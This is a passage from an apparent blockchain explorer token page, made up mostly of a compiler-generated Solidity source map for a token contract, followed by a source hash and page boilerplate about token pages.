:46;;15786:21;;15761;:46;;15786:21;;15761:46;:::i;:::-;;;;-1:-1:-1;;15665:150:0:o;16303:321::-;16479:7;;16443:44;;16467:10;;16479:7;;;-1:-1:-1;;;;;16479:7:0;16443:23;:44::i;:::-;-1:-1:-1;;;;;16506:22:0;;;;;;:15;:22;;;;;;:33;;;:22;;;;:33;;;16498:75;;;;-1:-1:-1;;;16498:75:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;16584:22:0;;;;;;;;:15;:22;;;;;:32;;-1:-1:-1;;16584:32:0;;;;;;;;;;16303:321::o;16632:323::-;16790:7;;16754:44;;16778:10;;16790:7;;;-1:-1:-1;;;;;16790:7:0;16754:23;:44::i;:::-;16828:3;16817:7;:14;;:33;;;;;16847:3;16835:8;:15;;16817:33;16809:82;;;;-1:-1:-1;;;16809:82:0;;5580:2:1;16809:82:0;;;5562:21:1;5619:2;5599:18;;;5592:30;5658:34;5638:18;;;5631:62;-1:-1:-1;;;5709:18:1;;;5702:34;5753:19;;16809:82:0;5378:400:1;16809:82:0;16902:6;:16;;;;16929:7;:18;16632:323::o;901:103::-;627:13;:11;:13::i;:::-;966:30:::1;993:1;966:18;:30::i;:::-;901:103::o:0;13959:154::-;14054:7;;14018:44;;14042:10;;14054:7;;;-1:-1:-1;;;;;14054:7:0;14018:23;:44::i;:::-;14091:14;;;-1:-1:-1;;14073:32:0;;14091:14;;;;14090:15;14073:32;;;13959:154::o;18485:283::-;18611:7;;18575:44;;18599:10;;18611:7;;;-1:-1:-1;;;;;18611:7:0;18575:23;:44::i;:::-;-1:-1:-1;;;;;18638:28:0;;;;;;:21;:28;;;;;;:39;;;:28;;;;:39;;;18630:81;;;;-1:-1:-1;;;18630:81:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18722:28:0;;;;;;;;:21;:28;;;;;:38;;-1:-1:-1;;18722:38:0;;;;;;;;;;18485:283::o;7146:95::-;7193:13;7226:7;7219:14;;;;;:::i;15453:139::-;15542:7;;15506:44;;15530:10;;15542:7;;;-1:-1:-1;;;;;15542:7:0;15506:23;:44::i;:::-;15577:7;15561:12;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;;15453:139:0:o;14371:254::-;14496:7;;14460:44;;14484:10;;14496:7;;;-1:-1:-1;;;;;14496:7:0;14460:23;:44::i;:::-;14520:9;14515:103;14535:16;;;14515:103;;;14600:6;14573:14;:24;14588:5;;14594:1;14588:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14573:24:0;;;;;;;;;;;;-1:-1:-1;14573:24:0;:33;;-1:-1:-1;;14573:33:0;;;;;;;;;;14553:3;;;;:::i;:::-;;;;14515:103;;;;14371:254;;;:::o;8709:434::-;8802:4;8835:10;8802:4;8883:25;8835:10;8900:7;8883:9;:25::i;:::-;8856:52;;8947:15;8927:16;:35;;8919:85;;;;-1:-1:-1;;;8919:85:0;;6257:2:1;8919:85:0;;;6239:21:1;6296:2;6276:18;;;6269:30;6335:34;6315:18;;;6308:62;-1:-1:-1;;;6386:18:1;;;6379:35;6431:19;;8919:85:0;6055:401:1;8919:85:0;9040:60;9049:5;9056:7;9084:15;9065:16;:34;9040:8;:60::i;7599:191::-;7678:4;7711:10;7732:28;7711:10;7749:2;7753:6;7732:9;:28::i;18996:274::-;19119:7;;19083:44;;19107:10;;19119:7;;;-1:-1:-1;;;;;19119:7:0;19083:23;:44::i;:::-;-1:-1:-1;;;;;19146:25:0;;;;;;:18;:25;;;;;;:36;;;:25;;;;:36;;;19138:78;;;;-1:-1:-1;;;19138:78:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19227:25:0;;;;;;;;:18;:25;;;;;:35;;-1:-1:-1;;19227:35:0;;;;;;;;;;18996:274::o;7798:151::-;-1:-1:-1;;;;;7914:18:0;;;7887:7;7914:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7798:151::o;17900:139::-;17995:7;;17959:44;;17983:10;;17995:7;;;-1:-1:-1;;;;;17995:7:0;17959:23;:44::i;:::-;18014:7;:17;;-1:-1:-1;;;;;18014:17:0;;;;;-1:-1:-1;;;;;;18014:17:0;;;;;;;;;17900:139::o;1012:201::-;627:13;:11;:13::i;:::-;-1:-1:-1;;;;;1101:22:0;::::1;1093:73;;;::::0;-1:-1:-1;;;1093:73:0;;6663:2:1;1093:73:0::1;::::0;::::1;6645:21:1::0;6702:2;6682:18;;;6675:30;6741:34;6721:18;;;6714:62;-1:-1:-1;;;6792:18:1;;;6785:36;6838:19;;1093:73:0::1;6461:402:1::0;1093:73:0::1;1177:28;1196:8;1177:18;:28::i;:::-;1012:201:::0;:::o;17431:461::-;17539:7;;17503:44;;17527:10;;17539:7;;;-1:-1:-1;;;;;17539:7:0;17503:23;:44::i;:::-;17590:7;;17558:55;;17575:4;;-1:-1:-1;;;;;17590:7:0;17600:12;17558:8;:55::i;:::-;17624:37;17641:4;17648:12;17624:8;:37::i;:::-;-1:-1:-1;17672:7:0;;-1:-1:-1;;;;;17672:7:0;:23;17704:9;17738:4;17759:12;17672:7;;17821:10;17847:22;:15;17865:4;17847:22;:::i;:::-;17672:212;;;;;;-1:-1:-1;;;;;;17672:212:0;;;-1:-1:-1;;;;;7227:15:1;;;17672:212:0;;;7209:34:1;7259:18;;;7252:34;;;;7302:18;;;7295:34;;;;7345:18;;;7338:34;;;;7409:15;;;7388:19;;;7381:44;7441:19;;;7434:35;;;;7143:19;;17672:212:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;11578:380::-;-1:-1:-1;;;;;11714:19:0;;11706:68;;;;-1:-1:-1;;;11706:68:0;;7993:2:1;11706:68:0;;;7975:21:1;8032:2;8012:18;;;8005:30;8071:34;8051:18;;;8044:62;-1:-1:-1;;;8122:18:1;;;8115:34;8166:19;;11706:68:0;7791:400:1;11706:68:0;-1:-1:-1;;;;;11793:21:0;;11785:68;;;;-1:-1:-1;;;11785:68:0;;8398:2:1;11785:68:0;;;8380:21:1;8437:2;8417:18;;;8410:30;8476:34;8456:18;;;8449:62;-1:-1:-1;;;8527:18:1;;;8520:32;8569:19;;11785:68:0;8196:398:1;11785:68:0;-1:-1:-1;;;;;11866:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11918:32;;1342:25:1;;;11918:32:0;;1315:18:1;11918:32:0;;;;;;;11578:380;;;:::o;3887:150::-;3984:7;-1:-1:-1;;;;;3974:17:0;:6;-1:-1:-1;;;;;3974:17:0;;3966:63;;;;-1:-1:-1;;;3966:63:0;;8801:2:1;3966:63:0;;;8783:21:1;8840:2;8820:18;;;8813:30;8879:34;8859:18;;;8852:62;-1:-1:-1;;;8930:18:1;;;8923:31;8971:19;;3966:63:0;8599:397:1;3966:63:0;3887:150;;:::o;11966:453::-;12101:24;12128:25;12138:5;12145:7;12128:9;:25::i;:::-;12101:52;;-1:-1:-1;;12168:16:0;:37;12164:248;;12250:6;12230:16;:26;;12222:68;;;;-1:-1:-1;;;12222:68:0;;9203:2:1;12222:68:0;;;9185:21:1;9242:2;9222:18;;;9215:30;9281:31;9261:18;;;9254:59;9330:18;;12222:68:0;9001:353:1;12222:68:0;12334:51;12343:5;12350:7;12378:6;12359:16;:25;12334:8;:51::i;9151:1816::-;-1:-1:-1;;;;;9282:18:0;;9274:68;;;;-1:-1:-1;;;9274:68:0;;9561:2:1;9274:68:0;;;9543:21:1;9600:2;9580:18;;;9573:30;9639:34;9619:18;;;9612:62;-1:-1:-1;;;9690:18:1;;;9683:35;9735:19;;9274:68:0;9359:401:1;9274:68:0;-1:-1:-1;;;;;9361:16:0;;9353:64;;;;-1:-1:-1;;;9353:64:0;;9967:2:1;9353:64:0;;;9949:21:1;10006:2;9986:18;;;9979:30;10045:34;10025:18;;;10018:62;-1:-1:-1;;;10096:18:1;;;10089:33;10139:19;;9353:64:0;9765:399:1;9353:64:0;9430:38;9451:4;9457:2;9461:6;9430:20;:38::i;:::-;-1:-1:-1;;;;;9503:15:0;;9481:19;9503:15;;;:9;:15;;;;;;9537:21;;;;9529:72;;;;-1:-1:-1;;;9529:72:0;;10371:2:1;9529:72:0;;;10353:21:1;10410:2;10390:18;;;10383:30;10449:34;10429:18;;;10422:62;-1:-1:-1;;;10500:18:1;;;10493:36;10546:19;;9529:72:0;10169:402:1;9529:72:0;-1:-1:-1;;;;;16264:22:0;;16184:4;16264:22;;;:15;:22;;;;;;;;9662:24;:50;;;;-1:-1:-1;;;;;;16264:22:0;;16184:4;16264:22;;;:15;:22;;;;;;;;9690;9662:50;9658:1210;;;9732:14;9741:4;9732:8;:14::i;:::-;9728:974;;;9767:14;9784:34;9803:6;9811;;9784:18;:34::i;:::-;9767:51;-1:-1:-1;9855:20:0;9869:6;9855:11;:20;:::i;:::-;-1:-1:-1;;;;;9837:15:0;;;;;;:9;:15;;;;;:38;9911:18;9920:9;9911:6;:18;:::i;:::-;-1:-1:-1;;;;;9894:13:0;;;;;;:9;:13;;;;;:35;;:13;;;:35;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;9953:38:0;;;;;;;9972:18;9981:9;9972:6;:18;:::i;:::-;9953:38;;1342:25:1;;;1330:2;1315:18;9953:38:0;;;;;;;10020:12;;-1:-1:-1;;;;;10020:12:0;10010:23;;;;:9;:23;;;;;:36;;10037:9;;10010:23;:36;;10037:9;;10010:36;:::i;:::-;;;;-1:-1:-1;;10085:12:0;;10070:39;;1342:25:1;;;-1:-1:-1;;;;;10085:12:0;;;;10070:39;;;;;1330:2:1;1315:18;10070:39:0;;;;;;;9748:379;10922:37;12427:1161;9728:974;10137:12;10146:2;10137:8;:12::i;:::-;10133:569;;;10170:14;10187:35;10206:6;10214:7;;10187:18;:35::i;10133:569::-;10574:20;10588:6;10574:11;:20;:::i;:::-;-1:-1:-1;;;;;10556:15:0;;;;;;;:9;:15;;;;;;:38;;;;10613:13;;;;;;;;:23;;10630:6;;10556:15;10613:23;;10630:6;;10613:23;:::i;:::-;;;;;;;;10675:2;-1:-1:-1;;;;;10660:26:0;10669:4;-1:-1:-1;;;;;10660:26:0;;10679:6;10660:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;10660:26:0;;;;;;;;10922:37;12427:1161;763:130;838:10;827:7;714;741:6;-1:-1:-1;;;;;741:6:0;;668:87;827:7;-1:-1:-1;;;;;827:21:0;;819:66;;;;-1:-1:-1;;;819:66:0;;10911:2:1;819:66:0;;;10893:21:1;;;10930:18;;;10923:30;10989:34;10969:18;;;10962:62;11041:18;;819:66:0;10709:356:1;1221:191:0;1295:16;1314:6;;-1:-1:-1;;;;;1331:17:0;;;-1:-1:-1;;;;;;1331:17:0;;;;;;1364:40;;1314:6;;;;;;;1364:40;;1295:16;1364:40;1284:128;1221:191;:::o;12427:1161::-;12565:14;12574:4;12565:8;:14::i;:::-;12561:127;;;-1:-1:-1;;;;;12596:16:0;;;;;;:12;:16;;;;;:26;;12616:6;;12596:16;:26;;12616:6;;12596:26;:::i;:::-;;;;-1:-1:-1;;;;;;;12637:21:0;;;;;;:17;:21;;;;;12661:15;12637:39;;12561:127;12702:12;12711:2;12702:8;:12::i;:::-;12698:442;;;-1:-1:-1;;;;;12736:20:0;;;;;;:14;:20;;;;;;;;12731:397;;-1:-1:-1;;;;;12785:18:0;;;;;;:12;:18;;;;;;:28;-1:-1:-1;12785:28:0;12777:81;;;;-1:-1:-1;;;12777:81:0;;11272:2:1;12777:81:0;;;11254:21:1;11311:2;11291:18;;;11284:30;11350:34;11330:18;;;11323:62;-1:-1:-1;;;11401:18:1;;;11394:38;11449:19;;12777:81:0;11070:404:1;12777:81:0;-1:-1:-1;;;;;12877:18:0;;;;;;:12;:18;;;;;:28;;12899:6;;12877:18;:28;;12899:6;;12877:28;:::i;:::-;;;;-1:-1:-1;;14194:14:0;;;;12924:138;;;-1:-1:-1;;;;;12989:23:0;;;;;;:17;:23;;;;;;13014:8;;12974:49;;12989:23;12974:14;:49::i;:::-;12966:94;;;;-1:-1:-1;;;12966:94:0;;11681:2:1;12966:94:0;;;11663:21:1;;;11700:18;;;11693:30;11759:34;11739:18;;;11732:62;11811:18;;12966:94:0;11479:356:1;12966:94:0;15195:13;;15180:11;:28;13080:32;;;;;;13156:9;;:14;;;;:31;;;13175:12;13184:2;13175:8;:12::i;:::-;13174:13;13156:31;:63;;;;-1:-1:-1;;;;;;18440:28:0;;18416:4;18440:28;;;:21;:28;;;;;;;;13191;13156:63;:97;;;;-1:-1:-1;;;;;;18440:28:0;;18416:4;18440:28;;;:21;:28;;;;;;;;13223:30;13156:97;13152:220;;;13304:9;;13294:6;13278:13;13288:2;-1:-1:-1;;;;;7565:18:0;7538:7;7565:18;;;:9;:18;;;;;;;7464:127;13278:13;:22;;;;:::i;:::-;:35;;13270:90;;;;-1:-1:-1;;;13270:90:0;;12042:2:1;13270:90:0;;;12024:21:1;12081:2;12061:18;;;12054:30;12120:34;12100:18;;;12093:62;-1:-1:-1;;;12171:18:1;;;12164:40;12221:19;;13270:90:0;11840:406:1;13270:90:0;13388:12;;:17;13384:197;;-1:-1:-1;;;;;13427:24:0;;;;;;:18;:24;;;;;;;;13426:25;:52;;;;-1:-1:-1;;;;;;13456:22:0;;;;;;:18;:22;;;;;;;;13455:23;13426:52;13422:148;;;13517:12;;13507:6;:22;;13499:55;;;;-1:-1:-1;;;13499:55:0;;12453:2:1;13499:55:0;;;12435:21:1;12492:2;12472:18;;;12465:30;-1:-1:-1;;;12511:18:1;;;12504:50;12571:18;;13499:55:0;12251:344:1;13499:55:0;12427:1161;;;:::o;13809:142::-;13907:5;;13865:4;;-1:-1:-1;;;;;13890:23:0;;;13907:5;;13890:23;;:52;;-1:-1:-1;;13934:7:0;;-1:-1:-1;;;;;13934:7:0;;;13917:25;;;;13809:142::o;15897:216::-;15986:4;16102:3;16078:21;16088:11;16078:7;:21;:::i;:::-;:27;;;;:::i;:::-;16071:34;15897:216;-1:-1:-1;;;15897:216:0:o;4147:148::-;4227:4;4271:15;4251:16;4261:6;4251:7;:16;:::i;:::-;:35;;;4147:148;-1:-1:-1;;;4147:148:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:180::-;1437:6;1490:2;1478:9;1469:7;1465:23;1461:32;1458:52;;;1506:1;1503;1496:12;1458:52;-1:-1:-1;1529:23:1;;1378:180;-1:-1:-1;1378:180:1:o;1563:328::-;1640:6;1648;1656;1709:2;1697:9;1688:7;1684:23;1680:32;1677:52;;;1725:1;1722;1715:12;1677:52;1748:29;1767:9;1748:29;:::i;:::-;1738:39;;1796:38;1830:2;1819:9;1815:18;1796:38;:::i;:::-;1786:48;;1881:2;1870:9;1866:18;1853:32;1843:42;;1563:328;;;;;:::o;2338:186::-;2397:6;2450:2;2438:9;2429:7;2425:23;2421:32;2418:52;;;2466:1;2463;2456:12;2418:52;2489:29;2508:9;2489:29;:::i;2529:160::-;2594:20;;2650:13;;2643:21;2633:32;;2623:60;;2679:1;2676;2669:12;2694:254;2759:6;2767;2820:2;2808:9;2799:7;2795:23;2791:32;2788:52;;;2836:1;2833;2826:12;2788:52;2859:29;2878:9;2859:29;:::i;:::-;2849:39;;2907:35;2938:2;2927:9;2923:18;2907:35;:::i;:::-;2897:45;;2694:254;;;;;:::o;2953:248::-;3021:6;3029;3082:2;3070:9;3061:7;3057:23;3053:32;3050:52;;;3098:1;3095;3088:12;3050:52;-1:-1:-1;;3121:23:1;;;3191:2;3176:18;;;3163:32;;-1:-1:-1;2953:248:1:o;3414:689::-;3506:6;3514;3522;3575:2;3563:9;3554:7;3550:23;3546:32;3543:52;;;3591:1;3588;3581:12;3543:52;3631:9;3618:23;3660:18;3701:2;3693:6;3690:14;3687:34;;;3717:1;3714;3707:12;3687:34;3755:6;3744:9;3740:22;3730:32;;3800:7;3793:4;3789:2;3785:13;3781:27;3771:55;;3822:1;3819;3812:12;3771:55;3862:2;3849:16;3888:2;3880:6;3877:14;3874:34;;;3904:1;3901;3894:12;3874:34;3959:7;3952:4;3942:6;3939:1;3935:14;3931:2;3927:23;3923:34;3920:47;3917:67;;;3980:1;3977;3970:12;3917:67;4011:4;4003:13;;;;-1:-1:-1;4035:6:1;-1:-1:-1;4060:37:1;;4076:20;;;-1:-1:-1;4060:37:1;:::i;:::-;4050:47;;3414:689;;;;;:::o;4108:260::-;4176:6;4184;4237:2;4225:9;4216:7;4212:23;4208:32;4205:52;;;4253:1;4250;4243:12;4205:52;4276:29;4295:9;4276:29;:::i;:::-;4266:39;;4324:38;4358:2;4347:9;4343:18;4324:38;:::i;4373:380::-;4452:1;4448:12;;;;4495;;;4516:61;;4570:4;4562:6;4558:17;4548:27;;4516:61;4623:2;4615:6;4612:14;4592:18;4589:38;4586:161;;4669:10;4664:3;4660:20;4657:1;4650:31;4704:4;4701:1;4694:15;4732:4;4729:1;4722:15;4586:161;;4373:380;;;:::o;4758:127::-;4819:10;4814:3;4810:20;4807:1;4800:31;4850:4;4847:1;4840:15;4874:4;4871:1;4864:15;4890:125;4955:9;;;4976:10;;;4973:36;;;4989:18;;:::i;5020:353::-;5222:2;5204:21;;;5261:2;5241:18;;;5234:30;5300:31;5295:2;5280:18;;5273:59;5364:2;5349:18;;5020:353::o;5783:127::-;5844:10;5839:3;5835:20;5832:1;5825:31;5875:4;5872:1;5865:15;5899:4;5896:1;5889:15;5915:135;5954:3;5975:17;;;5972:43;;5995:18;;:::i;:::-;-1:-1:-1;6042:1:1;6031:13;;5915:135::o;7480:306::-;7568:6;7576;7584;7637:2;7625:9;7616:7;7612:23;7608:32;7605:52;;;7653:1;7650;7643:12;7605:52;7682:9;7676:16;7666:26;;7732:2;7721:9;7717:18;7711:25;7701:35;;7776:2;7765:9;7761:18;7755:25;7745:35;;7480:306;;;;;:::o;10576:128::-;10643:9;;;10664:11;;;10661:37;;;10678:18;;:::i;12600:168::-;12673:9;;;12704;;12721:15;;;12715:22;;12701:37;12691:71;;12742:18;;:::i;12773:217::-;12813:1;12839;12829:132;;12883:10;12878:3;12874:20;12871:1;12864:31;12918:4;12915:1;12908:15;12946:4;12943:1;12936:15;12829:132;-1:-1:-1;12975:9:1;;12773:217::o

Swarm Source

ipfs://317a1ab1a4ab7eac997841f4be75ac01f67921055cc0ad4149a2bcb91b8d623d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.